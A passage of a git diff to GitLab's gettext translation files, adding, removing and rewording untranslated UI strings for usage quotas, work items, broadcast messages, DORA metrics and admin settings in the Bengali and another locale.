msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr "Вашето име"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/bn_BD/gitlab.po b/locale/bn_BD/gitlab.po
index 6ed45ca92ec..9ca3fe6f76d 100644
--- a/locale/bn_BD/gitlab.po
+++ b/locale/bn_BD/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
